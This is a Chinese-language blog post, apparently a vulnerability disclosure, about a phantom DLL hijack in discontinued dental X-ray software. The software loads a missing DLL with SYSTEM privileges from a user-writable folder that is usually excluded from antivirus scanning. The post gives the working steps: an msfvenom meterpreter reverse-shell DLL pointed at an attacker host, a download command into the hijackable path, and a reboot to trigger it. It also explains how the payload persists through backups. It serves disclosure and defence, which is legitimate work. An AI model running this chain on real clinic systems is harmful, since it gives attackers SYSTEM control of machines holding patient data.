最初,这是打算写一篇关于牙科X光机软件中DLL代理的文章,但我在研究中偶然发现了一个DLL,让我重新检查了一下,最终发现了一个权限提升漏洞,并因此获得了CVE。 在我职业生涯早期,我曾为一家牙科X光机厂家做技术支持,该厂家后来关闭了。我记得在那工作时出现的各种错误,一直认为尝试在该软件中寻找漏洞是个好主意。所以,鉴于该软件今天仍在使用,我决定看看现在我不做软件支持了,能否做出点什么有趣的事。我记得在网络安全学习初期,那个软件里有几个可劫持的DLL,我决定尝试DLL代理,看看能否在保持软件功能正常的情况下运行一个恶意DLL(真正做到隐蔽)。以下是我遵循的过程,以及我如何偶然发现一个(理论上)能在系统全新安装后依然存在的权限提升漏洞。希望这些信息对蓝队有用。
需要注意的是,该软件已不再接收更新,但我知道这些X光机在美国至今仍在广泛使用,因此该漏洞仍存在一定的潜在风险。软件可以在此下载,软件手册在此。另外需要注意的是,如果该软件在使用中,那么运行的进程及以下路径有99%的概率会被当前使用的ERD/AV加入白名单,这一点在软件手册第24页也有提及。在本报告中,我将做同样的事情,添加这些排除项,以匹配该软件在每个牙科诊所的安装方式。

软件安装并添加排除项后,我们启动 Process Monitor 并开始搜索。添加以下过滤器,并在服务中重启“CCS Service”:
一旦数据填充,你会发现该软件中有大量可劫持的DLL。你会看到许多“NAME NOT FIND”结果,紧接着同一DLL在另一个位置有“SUCCESS”。某天我在滚动浏览,寻找一个合适的DLL进行代理尝试,当几乎要翻到底部时,一个东西引起了我的注意……

会是它吗?? 是的。这是一个以SYSTEM完整性从用户可写位置调用的幽灵DLL。 本质上,这是一个不适合代理的DLL,因为机器上并没有实际的DLL文件,所以Windows会按照特定的顺序从一组预定义的文件夹中尝试调用它。
在我们的场景中,第5个位置是 C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll 且所有用户对该位置拥有读取、写入和执行权限。更甚的是,该位置是 C:\ProgramData\Ajat\ 的子文件夹,而父文件夹在使用了该软件的环境中应该是被白名单的。

以下是此测试的网络设置:
首先创建一个简单的普通型 meterpreter dll,因为我们不必担心杀毒软件,然后启动一个http服务器来传输它。
## msfvenom 生成 dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http 服务器
python3 -m http.server 80
回到 Windows,切换至标准用户账户,打开 PowerShell,导航到 datastor 文件夹并运行以下命令:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

如果一切操作正确,我们只需重启计算机即可触发漏洞利用(因为这是普通用户可以做的事情,重启 CCS Service 也会触发)。

成功!!!
关于 datastor 位置的一个关键点是,它是两个应备份的位置之一,以防计算机需要因任何原因被彻底清除或更换并重新安装软件。如果 calib 文件夹的内容丢失,技术人员需要前来重新校准X光机以恢复这些数据。如果 datastor 文件丢失,则会丢失尚未保存的最新X光影像,因此这个位置在备份时有一定选择性。恶意软件将驻留在此位置,所以理论上,如果有人在新计算机上恢复了包含恶意软件和所有最新X光影像的备份 datastor 内容,就有可能意外地再次感染新计算机。这在软件手册第二页也有提及。
